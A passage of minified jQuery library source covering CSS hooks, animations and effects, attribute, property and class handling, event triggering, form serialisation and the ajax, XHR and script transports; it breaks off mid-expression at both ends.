n}},"margin"!==i&&(k.cssHooks[i+o].set=Ze)}),k.fn.extend({css:function(e,t){return _(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=Fe(e),i=t.length;a<i;a++)o[t[a]]=k.css(e,t[a],!1,r);return o}return void 0!==n?k.style(e,t,n):k.css(e,t)},e,t,1<arguments.length)}}),((k.Tween=nt).prototype={constructor:nt,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||k.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(k.cssNumber[n]?"":"px")},cur:function(){var e=nt.propHooks[this.prop];return e&&e.get?e.get(this):nt.propHooks._default.get(this)},run:function(e){var t,n=nt.propHooks[this.prop];return this.options.duration?this.pos=t=k.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):nt.propHooks._default.set(this),this}}).init.prototype=nt.prototype,(nt.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=k.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){k.fx.step[e.prop]?k.fx.step[e.prop](e):1!==e.elem.nodeType||!k.cssHooks[e.prop]&&null==e.elem.style[Ge(e.prop)]?e.elem[e.prop]=e.now:k.style(e.elem,e.prop,e.now+e.unit)}}}).scrollTop=nt.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},k.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},k.fx=nt.prototype.init,k.fx.step={};var rt,it,ot,at,st=/^(?:toggle|show|hide)$/,ut=/queueHooks$/;function lt(){it&&(!1===E.hidden&&C.requestAnimationFrame?C.requestAnimationFrame(lt):C.setTimeout(lt,k.fx.interval),k.fx.tick())}function ct(){return C.setTimeout(function(){rt=void 0}),rt=Date.now()}function ft(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=re[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function pt(e,t,n){for(var r,i=(dt.tweeners[t]||[]).concat(dt.tweeners["*"]),o=0,a=i.length;o<a;o++)if(r=i[o].call(n,t,e))return r}function dt(o,e,t){var n,a,r=0,i=dt.prefilters.length,s=k.Deferred().always(function(){delete u.elem}),u=function(){if(a)return!1;for(var e=rt||ct(),t=Math.max(0,l.startTime+l.duration-e),n=1-(t/l.duration||0),r=0,i=l.tweens.length;r<i;r++)l.tweens[r].run(n);return s.notifyWith(o,[l,n,t]),n<1&&i?t:(i||s.notifyWith(o,[l,1,0]),s.resolveWith(o,[l]),!1)},l=s.promise({elem:o,props:k.extend({},e),opts:k.extend(!0,{specialEasing:{},easing:k.easing._default},t),originalProperties:e,originalOptions:t,startTime:rt||ct(),duration:t.duration,tweens:[],createTween:function(e,t){var n=k.Tween(o,l.opts,e,t,l.opts.specialEasing[e]||l.opts.easing);return l.tweens.push(n),n},stop:function(e){var t=0,n=e?l.tweens.length:0;if(a)return this;for(a=!0;t<n;t++)l.tweens[t].run(1);return e?(s.notifyWith(o,[l,1,0]),s.resolveWith(o,[l,e])):s.rejectWith(o,[l,e]),this}}),c=l.props;for(!function(e,t){var n,r,i,o,a;for(n in e)if(i=t[r=V(n)],o=e[n],Array.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),(a=k.cssHooks[r])&&"expand"in a)for(n in o=a.expand(o),delete e[r],o)n in e||(e[n]=o[n],t[n]=i);else t[r]=i}(c,l.opts.specialEasing);r<i;r++)if(n=dt.prefilters[r].call(l,o,c,l.opts))return m(n.stop)&&(k._queueHooks(l.elem,l.opts.queue).stop=n.stop.bind(n)),n;return k.map(c,pt,l),m(l.opts.start)&&l.opts.start.call(o,l),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always),k.fx.timer(k.extend(u,{elem:o,anim:l,queue:l.opts.queue})),l}k.Animation=k.extend(dt,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return le(n.elem,e,ne.exec(t),n),n}]},tweener:function(e,t){m(e)?(t=e,e=["*"]):e=e.match(R);for(var n,r=0,i=e.length;r<i;r++)n=e[r],dt.tweeners[n]=dt.tweeners[n]||[],dt.tweeners[n].unshift(t)},prefilters:[function(e,t,n){var r,i,o,a,s,u,l,c,f="width"in t||"height"in t,p=this,d={},h=e.style,g=e.nodeType&&se(e),v=Q.get(e,"fxshow");for(r in n.queue||(null==(a=k._queueHooks(e,"fx")).unqueued&&(a.unqueued=0,s=a.empty.fire,a.empty.fire=function(){a.unqueued||s()}),a.unqueued++,p.always(function(){p.always(function(){a.unqueued--,k.queue(e,"fx").length||a.empty.fire()})})),t)if(i=t[r],st.test(i)){if(delete t[r],o=o||"toggle"===i,i===(g?"hide":"show")){if("show"!==i||!v||void 0===v[r])continue;g=!0}d[r]=v&&v[r]||k.style(e,r)}if((u=!k.isEmptyObject(t))||!k.isEmptyObject(d))for(r in f&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(l=v&&v.display)&&(l=Q.get(e,"display")),"none"===(c=k.css(e,"display"))&&(l?c=l:(fe([e],!0),l=e.style.display||l,c=k.css(e,"display"),fe([e]))),("inline"===c||"inline-block"===c&&null!=l)&&"none"===k.css(e,"float")&&(u||(p.done(function(){h.display=l}),null==l&&(c=h.display,l="none"===c?"":c)),h.display="inline-block")),n.overflow&&(h.overflow="hidden",p.always(function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]})),u=!1,d)u||(v?"hidden"in v&&(g=v.hidden):v=Q.access(e,"fxshow",{display:l}),o&&(v.hidden=!g),g&&fe([e],!0),p.done(function(){for(r in g||fe([e]),Q.remove(e,"fxshow"),d)k.style(e,r,d[r])})),u=pt(g?v[r]:0,r,p),r in v||(v[r]=u.start,g&&(u.end=u.start,u.start=0))}],prefilter:function(e,t){t?dt.prefilters.unshift(e):dt.prefilters.push(e)}}),k.speed=function(e,t,n){var r=e&&"object"==typeof e?k.extend({},e):{complete:n||!n&&t||m(e)&&e,duration:e,easing:n&&t||t&&!m(t)&&t};return k.fx.off?r.duration=0:"number"!=typeof r.duration&&(r.duration in k.fx.speeds?r.duration=k.fx.speeds[r.duration]:r.duration=k.fx.speeds._default),null!=r.queue&&!0!==r.queue||(r.queue="fx"),r.old=r.complete,r.complete=function(){m(r.old)&&r.old.call(this),r.queue&&k.dequeue(this,r.queue)},r},k.fn.extend({fadeTo:function(e,t,n,r){return this.filter(se).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(t,e,n,r){var i=k.isEmptyObject(t),o=k.speed(e,n,r),a=function(){var e=dt(this,k.extend({},t),o);(i||Q.get(this,"finish"))&&e.stop(!0)};return a.finish=a,i||!1===o.queue?this.each(a):this.queue(o.queue,a)},stop:function(i,e,o){var a=function(e){var t=e.stop;delete e.stop,t(o)};return"string"!=typeof i&&(o=e,e=i,i=void 0),e&&!1!==i&&this.queue(i||"fx",[]),this.each(function(){var e=!0,t=null!=i&&i+"queueHooks",n=k.timers,r=Q.get(this);if(t)r[t]&&r[t].stop&&a(r[t]);else for(t in r)r[t]&&r[t].stop&&ut.test(t)&&a(r[t]);for(t=n.length;t--;)n[t].elem!==this||null!=i&&n[t].queue!==i||(n[t].anim.stop(o),e=!1,n.splice(t,1));!e&&o||k.dequeue(this,i)})},finish:function(a){return!1!==a&&(a=a||"fx"),this.each(function(){var e,t=Q.get(this),n=t[a+"queue"],r=t[a+"queueHooks"],i=k.timers,o=n?n.length:0;for(t.finish=!0,k.queue(this,a,[]),r&&r.stop&&r.stop.call(this,!0),e=i.length;e--;)i[e].elem===this&&i[e].queue===a&&(i[e].anim.stop(!0),i.splice(e,1));for(e=0;e<o;e++)n[e]&&n[e].finish&&n[e].finish.call(this);delete t.finish})}}),k.each(["toggle","show","hide"],function(e,r){var i=k.fn[r];k.fn[r]=function(e,t,n){return null==e||"boolean"==typeof e?i.apply(this,arguments):this.animate(ft(r,!0),e,t,n)}}),k.each({slideDown:ft("show"),slideUp:ft("hide"),slideToggle:ft("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,r){k.fn[e]=function(e,t,n){return this.animate(r,e,t,n)}}),k.timers=[],k.fx.tick=function(){var e,t=0,n=k.timers;for(rt=Date.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||k.fx.stop(),rt=void 0},k.fx.timer=function(e){k.timers.push(e),k.fx.start()},k.fx.interval=13,k.fx.start=function(){it||(it=!0,lt())},k.fx.stop=function(){it=null},k.fx.speeds={slow:600,fast:200,_default:400},k.fn.delay=function(r,e){return r=k.fx&&k.fx.speeds[r]||r,e=e||"fx",this.queue(e,function(e,t){var n=C.setTimeout(e,r);t.stop=function(){C.clearTimeout(n)}})},ot=E.createElement("input"),at=E.createElement("select").appendChild(E.createElement("option")),ot.type="checkbox",y.checkOn=""!==ot.value,y.optSelected=at.selected,(ot=E.createElement("input")).value="t",ot.type="radio",y.radioValue="t"===ot.value;var ht,gt=k.expr.attrHandle;k.fn.extend({attr:function(e,t){return _(this,k.attr,e,t,1<arguments.length)},removeAttr:function(e){return this.each(function(){k.removeAttr(this,e)})}}),k.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?k.prop(e,t,n):(1===o&&k.isXMLDoc(e)||(i=k.attrHooks[t.toLowerCase()]||(k.expr.match.bool.test(t)?ht:void 0)),void 0!==n?null===n?void k.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=k.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!y.radioValue&&"radio"===t&&A(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(R);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),ht={set:function(e,t,n){return!1===t?k.removeAttr(e,n):e.setAttribute(n,n),n}},k.each(k.expr.match.bool.source.match(/\w+/g),function(e,t){var a=gt[t]||k.find.attr;gt[t]=function(e,t,n){var r,i,o=t.toLowerCase();return n||(i=gt[o],gt[o]=r,r=null!=a(e,t,n)?o:null,gt[o]=i),r}});var vt=/^(?:input|select|textarea|button)$/i,yt=/^(?:a|area)$/i;function mt(e){return(e.match(R)||[]).join(" ")}function xt(e){return e.getAttribute&&e.getAttribute("class")||""}function bt(e){return Array.isArray(e)?e:"string"==typeof e&&e.match(R)||[]}k.fn.extend({prop:function(e,t){return _(this,k.prop,e,t,1<arguments.length)},removeProp:function(e){return this.each(function(){delete this[k.propFix[e]||e]})}}),k.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&k.isXMLDoc(e)||(t=k.propFix[t]||t,i=k.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=k.find.attr(e,"tabindex");return t?parseInt(t,10):vt.test(e.nodeName)||yt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),y.optSelected||(k.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),k.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){k.propFix[this.toLowerCase()]=this}),k.fn.extend({addClass:function(t){var e,n,r,i,o,a,s,u=0;if(m(t))return this.each(function(e){k(this).addClass(t.call(this,e,xt(this)))});if((e=bt(t)).length)while(n=this[u++])if(i=xt(n),r=1===n.nodeType&&" "+mt(i)+" "){a=0;while(o=e[a++])r.indexOf(" "+o+" ")<0&&(r+=o+" ");i!==(s=mt(r))&&n.setAttribute("class",s)}return this},removeClass:function(t){var e,n,r,i,o,a,s,u=0;if(m(t))return this.each(function(e){k(this).removeClass(t.call(this,e,xt(this)))});if(!arguments.length)return this.attr("class","");if((e=bt(t)).length)while(n=this[u++])if(i=xt(n),r=1===n.nodeType&&" "+mt(i)+" "){a=0;while(o=e[a++])while(-1<r.indexOf(" "+o+" "))r=r.replace(" "+o+" "," ");i!==(s=mt(r))&&n.setAttribute("class",s)}return this},toggleClass:function(i,t){var o=typeof i,a="string"===o||Array.isArray(i);return"boolean"==typeof t&&a?t?this.addClass(i):this.removeClass(i):m(i)?this.each(function(e){k(this).toggleClass(i.call(this,e,xt(this),t),t)}):this.each(function(){var e,t,n,r;if(a){t=0,n=k(this),r=bt(i);while(e=r[t++])n.hasClass(e)?n.removeClass(e):n.addClass(e)}else void 0!==i&&"boolean"!==o||((e=xt(this))&&Q.set(this,"__className__",e),this.setAttribute&&this.setAttribute("class",e||!1===i?"":Q.get(this,"__className__")||""))})},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&-1<(" "+mt(xt(n))+" ").indexOf(t))return!0;return!1}});var wt=/\r/g;k.fn.extend({val:function(n){var r,e,i,t=this[0];return arguments.length?(i=m(n),this.each(function(e){var t;1===this.nodeType&&(null==(t=i?n.call(this,e,k(this).val()):n)?t="":"number"==typeof t?t+="":Array.isArray(t)&&(t=k.map(t,function(e){return null==e?"":e+""})),(r=k.valHooks[this.type]||k.valHooks[this.nodeName.toLowerCase()])&&"set"in r&&void 0!==r.set(this,t,"value")||(this.value=t))})):t?(r=k.valHooks[t.type]||k.valHooks[t.nodeName.toLowerCase()])&&"get"in r&&void 0!==(e=r.get(t,"value"))?e:"string"==typeof(e=t.value)?e.replace(wt,""):null==e?"":e:void 0}}),k.extend({valHooks:{option:{get:function(e){var t=k.find.attr(e,"value");return null!=t?t:mt(k.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,s=a?null:[],u=a?o+1:i.length;for(r=o<0?u:a?o:0;r<u;r++)if(((n=i[r]).selected||r===o)&&!n.disabled&&(!n.parentNode.disabled||!A(n.parentNode,"optgroup"))){if(t=k(n).val(),a)return t;s.push(t)}return s},set:function(e,t){var n,r,i=e.options,o=k.makeArray(t),a=i.length;while(a--)((r=i[a]).selected=-1<k.inArray(k.valHooks.option.get(r),o))&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),k.each(["radio","checkbox"],function(){k.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=-1<k.inArray(k(e).val(),t)}},y.checkOn||(k.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})}),y.focusin="onfocusin"in C;var Tt=/^(?:focusinfocus|focusoutblur)$/,Ct=function(e){e.stopPropagation()};k.extend(k.event,{trigger:function(e,t,n,r){var i,o,a,s,u,l,c,f,p=[n||E],d=v.call(e,"type")?e.type:e,h=v.call(e,"namespace")?e.namespace.split("."):[];if(o=f=a=n=n||E,3!==n.nodeType&&8!==n.nodeType&&!Tt.test(d+k.event.triggered)&&(-1<d.indexOf(".")&&(d=(h=d.split(".")).shift(),h.sort()),u=d.indexOf(":")<0&&"on"+d,(e=e[k.expando]?e:new k.Event(d,"object"==typeof e&&e)).isTrigger=r?2:3,e.namespace=h.join("."),e.rnamespace=e.namespace?new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,e.result=void 0,e.target||(e.target=n),t=null==t?[e]:k.makeArray(t,[e]),c=k.event.special[d]||{},r||!c.trigger||!1!==c.trigger.apply(n,t))){if(!r&&!c.noBubble&&!x(n)){for(s=c.delegateType||d,Tt.test(s+d)||(o=o.parentNode);o;o=o.parentNode)p.push(o),a=o;a===(n.ownerDocument||E)&&p.push(a.defaultView||a.parentWindow||C)}i=0;while((o=p[i++])&&!e.isPropagationStopped())f=o,e.type=1<i?s:c.bindType||d,(l=(Q.get(o,"events")||{})[e.type]&&Q.get(o,"handle"))&&l.apply(o,t),(l=u&&o[u])&&l.apply&&G(o)&&(e.result=l.apply(o,t),!1===e.result&&e.preventDefault());return e.type=d,r||e.isDefaultPrevented()||c._default&&!1!==c._default.apply(p.pop(),t)||!G(n)||u&&m(n[d])&&!x(n)&&((a=n[u])&&(n[u]=null),k.event.triggered=d,e.isPropagationStopped()&&f.addEventListener(d,Ct),n[d](),e.isPropagationStopped()&&f.removeEventListener(d,Ct),k.event.triggered=void 0,a&&(n[u]=a)),e.result}},simulate:function(e,t,n){var r=k.extend(new k.Event,n,{type:e,isSimulated:!0});k.event.trigger(r,null,t)}}),k.fn.extend({trigger:function(e,t){return this.each(function(){k.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return k.event.trigger(e,t,n,!0)}}),y.focusin||k.each({focus:"focusin",blur:"focusout"},function(n,r){var i=function(e){k.event.simulate(r,e.target,k.event.fix(e))};k.event.special[r]={setup:function(){var e=this.ownerDocument||this,t=Q.access(e,r);t||e.addEventListener(n,i,!0),Q.access(e,r,(t||0)+1)},teardown:function(){var e=this.ownerDocument||this,t=Q.access(e,r)-1;t?Q.access(e,r,t):(e.removeEventListener(n,i,!0),Q.remove(e,r))}}});var Et=C.location,kt=Date.now(),St=/\?/;k.parseXML=function(e){var t;if(!e||"string"!=typeof e)return null;try{t=(new C.DOMParser).parseFromString(e,"text/xml")}catch(e){t=void 0}return t&&!t.getElementsByTagName("parsererror").length||k.error("Invalid XML: "+e),t};var Nt=/\[\]$/,At=/\r?\n/g,Dt=/^(?:submit|button|image|reset|file)$/i,jt=/^(?:input|select|textarea|keygen)/i;function qt(n,e,r,i){var t;if(Array.isArray(e))k.each(e,function(e,t){r||Nt.test(n)?i(n,t):qt(n+"["+("object"==typeof t&&null!=t?e:"")+"]",t,r,i)});else if(r||"object"!==w(e))i(n,e);else for(t in e)qt(n+"["+t+"]",e[t],r,i)}k.param=function(e,t){var n,r=[],i=function(e,t){var n=m(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(null==e)return"";if(Array.isArray(e)||e.jquery&&!k.isPlainObject(e))k.each(e,function(){i(this.name,this.value)});else for(n in e)qt(n,e[n],t,i);return r.join("&")},k.fn.extend({serialize:function(){return k.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=k.prop(this,"elements");return e?k.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!k(this).is(":disabled")&&jt.test(this.nodeName)&&!Dt.test(e)&&(this.checked||!pe.test(e))}).map(function(e,t){var n=k(this).val();return null==n?null:Array.isArray(n)?k.map(n,function(e){return{name:t.name,value:e.replace(At,"\r\n")}}):{name:t.name,value:n.replace(At,"\r\n")}}).get()}});var Lt=/%20/g,Ht=/#.*$/,Ot=/([?&])_=[^&]*/,Pt=/^(.*?):[ \t]*([^\r\n]*)$/gm,Rt=/^(?:GET|HEAD)$/,Mt=/^\/\//,It={},Wt={},$t="*/".concat("*"),Ft=E.createElement("a");function Bt(o){return function(e,t){"string"!=typeof e&&(t=e,e="*");var n,r=0,i=e.toLowerCase().match(R)||[];if(m(t))while(n=i[r++])"+"===n[0]?(n=n.slice(1)||"*",(o[n]=o[n]||[]).unshift(t)):(o[n]=o[n]||[]).push(t)}}function _t(t,i,o,a){var s={},u=t===Wt;function l(e){var r;return s[e]=!0,k.each(t[e]||[],function(e,t){var n=t(i,o,a);return"string"!=typeof n||u||s[n]?u?!(r=n):void 0:(i.dataTypes.unshift(n),l(n),!1)}),r}return l(i.dataTypes[0])||!s["*"]&&l("*")}function zt(e,t){var n,r,i=k.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&k.extend(!0,e,r),e}Ft.href=Et.href,k.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Et.href,type:"GET",isLocal:/^(?:about|app|app-storage|.+-extension|file|res|widget):$/.test(Et.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":$t,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":k.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?zt(zt(e,k.ajaxSettings),t):zt(k.ajaxSettings,e)},ajaxPrefilter:Bt(It),ajaxTransport:Bt(Wt),ajax:function(e,t){"object"==typeof e&&(t=e,e=void 0),t=t||{};var c,f,p,n,d,r,h,g,i,o,v=k.ajaxSetup({},t),y=v.context||v,m=v.context&&(y.nodeType||y.jquery)?k(y):k.event,x=k.Deferred(),b=k.Callbacks("once memory"),w=v.statusCode||{},a={},s={},u="canceled",T={readyState:0,getResponseHeader:function(e){var t;if(h){if(!n){n={};while(t=Pt.exec(p))n[t[1].toLowerCase()+" "]=(n[t[1].toLowerCase()+" "]||[]).concat(t[2])}t=n[e.toLowerCase()+" "]}return null==t?null:t.join(", ")},getAllResponseHeaders:function(){return h?p:null},setRequestHeader:function(e,t){return null==h&&(e=s[e.toLowerCase()]=s[e.toLowerCase()]||e,a[e]=t),this},overrideMimeType:function(e){return null==h&&(v.mimeType=e),this},statusCode:function(e){var t;if(e)if(h)T.always(e[T.status]);else for(t in e)w[t]=[w[t],e[t]];return this},abort:function(e){var t=e||u;return c&&c.abort(t),l(0,t),this}};if(x.promise(T),v.url=((e||v.url||Et.href)+"").replace(Mt,Et.protocol+"//"),v.type=t.method||t.type||v.method||v.type,v.dataTypes=(v.dataType||"*").toLowerCase().match(R)||[""],null==v.crossDomain){r=E.createElement("a");try{r.href=v.url,r.href=r.href,v.crossDomain=Ft.protocol+"//"+Ft.host!=r.protocol+"//"+r.host}catch(e){v.crossDomain=!0}}if(v.data&&v.processData&&"string"!=typeof v.data&&(v.data=k.param(v.data,v.traditional)),_t(It,v,t,T),h)return T;for(i in(g=k.event&&v.global)&&0==k.active++&&k.event.trigger("ajaxStart"),v.type=v.type.toUpperCase(),v.hasContent=!Rt.test(v.type),f=v.url.replace(Ht,""),v.hasContent?v.data&&v.processData&&0===(v.contentType||"").indexOf("application/x-www-form-urlencoded")&&(v.data=v.data.replace(Lt,"+")):(o=v.url.slice(f.length),v.data&&(v.processData||"string"==typeof v.data)&&(f+=(St.test(f)?"&":"?")+v.data,delete v.data),!1===v.cache&&(f=f.replace(Ot,"$1"),o=(St.test(f)?"&":"?")+"_="+kt+++o),v.url=f+o),v.ifModified&&(k.lastModified[f]&&T.setRequestHeader("If-Modified-Since",k.lastModified[f]),k.etag[f]&&T.setRequestHeader("If-None-Match",k.etag[f])),(v.data&&v.hasContent&&!1!==v.contentType||t.contentType)&&T.setRequestHeader("Content-Type",v.contentType),T.setRequestHeader("Accept",v.dataTypes[0]&&v.accepts[v.dataTypes[0]]?v.accepts[v.dataTypes[0]]+("*"!==v.dataTypes[0]?", "+$t+"; q=0.01":""):v.accepts["*"]),v.headers)T.setRequestHeader(i,v.headers[i]);if(v.beforeSend&&(!1===v.beforeSend.call(y,T,v)||h))return T.abort();if(u="abort",b.add(v.complete),T.done(v.success),T.fail(v.error),c=_t(Wt,v,t,T)){if(T.readyState=1,g&&m.trigger("ajaxSend",[T,v]),h)return T;v.async&&0<v.timeout&&(d=C.setTimeout(function(){T.abort("timeout")},v.timeout));try{h=!1,c.send(a,l)}catch(e){if(h)throw e;l(-1,e)}}else l(-1,"No Transport");function l(e,t,n,r){var i,o,a,s,u,l=t;h||(h=!0,d&&C.clearTimeout(d),c=void 0,p=r||"",T.readyState=0<e?4:0,i=200<=e&&e<300||304===e,n&&(s=function(e,t,n){var r,i,o,a,s=e.contents,u=e.dataTypes;while("*"===u[0])u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in s)if(s[i]&&s[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+" "+u[0]]){o=i;break}a||(a=i)}o=o||a}if(o)return o!==u[0]&&u.unshift(o),n[o]}(v,T,n)),s=function(e,t,n,r){var i,o,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if("*"===o)o=u;else if("*"!==u&&u!==o){if(!(a=l[u+" "+o]||l["* "+o]))for(i in l)if((s=i.split(" "))[1]===o&&(a=l[u+" "+s[0]]||l["* "+s[0]])){!0===a?a=l[i]:!0!==l[i]&&(o=s[0],c.unshift(s[1]));break}if(!0!==a)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(e){return{state:"parsererror",error:a?e:"No conversion from "+u+" to "+o}}}return{state:"success",data:t}}(v,s,T,i),i?(v.ifModified&&((u=T.getResponseHeader("Last-Modified"))&&(k.lastModified[f]=u),(u=T.getResponseHeader("etag"))&&(k.etag[f]=u)),204===e||"HEAD"===v.type?l="nocontent":304===e?l="notmodified":(l=s.state,o=s.data,i=!(a=s.error))):(a=l,!e&&l||(l="error",e<0&&(e=0))),T.status=e,T.statusText=(t||l)+"",i?x.resolveWith(y,[o,l,T]):x.rejectWith(y,[T,l,a]),T.statusCode(w),w=void 0,g&&m.trigger(i?"ajaxSuccess":"ajaxError",[T,v,i?o:a]),b.fireWith(y,[T,l]),g&&(m.trigger("ajaxComplete",[T,v]),--k.active||k.event.trigger("ajaxStop")))}return T},getJSON:function(e,t,n){return k.get(e,t,n,"json")},getScript:function(e,t){return k.get(e,void 0,t,"script")}}),k.each(["get","post"],function(e,i){k[i]=function(e,t,n,r){return m(t)&&(r=r||n,n=t,t=void 0),k.ajax(k.extend({url:e,type:i,dataType:r,data:t,success:n},k.isPlainObject(e)&&e))}}),k._evalUrl=function(e,t){return k.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,converters:{"text script":function(){}},dataFilter:function(e){k.globalEval(e,t)}})},k.fn.extend({wrapAll:function(e){var t;return this[0]&&(m(e)&&(e=e.call(this[0])),t=k(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(n){return m(n)?this.each(function(e){k(this).wrapInner(n.call(this,e))}):this.each(function(){var e=k(this),t=e.contents();t.length?t.wrapAll(n):e.append(n)})},wrap:function(t){var n=m(t);return this.each(function(e){k(this).wrapAll(n?t.call(this,e):t)})},unwrap:function(e){return this.parent(e).not("body").each(function(){k(this).replaceWith(this.childNodes)}),this}}),k.expr.pseudos.hidden=function(e){return!k.expr.pseudos.visible(e)},k.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},k.ajaxSettings.xhr=function(){try{return new C.XMLHttpRequest}catch(e){}};var Ut={0:200,1223:204},Xt=k.ajaxSettings.xhr();y.cors=!!Xt&&"withCredentials"in Xt,y.ajax=Xt=!!Xt,k.ajaxTransport(function(i){var o,a;if(y.cors||Xt&&!i.crossDomain)return{send:function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest"),e)r.setRequestHeader(n,e[n]);o=function(e){return function(){o&&(o=a=r.onload=r.onerror=r.onabort=r.ontimeout=r.onreadystatechange=null,"abort"===e?r.abort():"error"===e?"number"!=typeof r.status?t(0,"error"):t(r.status,r.statusText):t(Ut[r.status]||r.status,r.statusText,"text"!==(r.responseType||"text")||"string"!=typeof r.responseText?{binary:r.response}:{text:r.responseText},r.getAllResponseHeaders()))}},r.onload=o(),a=r.onerror=r.ontimeout=o("error"),void 0!==r.onabort?r.onabort=a:r.onreadystatechange=function(){4===r.readyState&&C.setTimeout(function(){o&&a()})},o=o("abort");try{r.send(i.hasContent&&i.data||null)}catch(e){if(o)throw e}},abort:function(){o&&o()}}}),k.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),k.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return k.globalEval(e),e}}}),k.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")}),k.ajaxTransport("script",function(n){var r,i;if(n.crossDomain||n.scriptAttrs)return{send:function(e,t){r=k("<script>").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load error",i=function(e){r.remove(),i=null,e&&t("error"===e.type?404:200,e.type)}),E.head.appendChild(r[0])},abort:function(){i&&i()}}});var Vt,Gt=[],Yt=/(=)\?(?=&|$)|\?\?/;k.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Gt.pop()||k.expando+"_"+kt++;return this[e]=!0,e}}),k.ajaxPrefilter("json jsonp",function(e,t,n){var 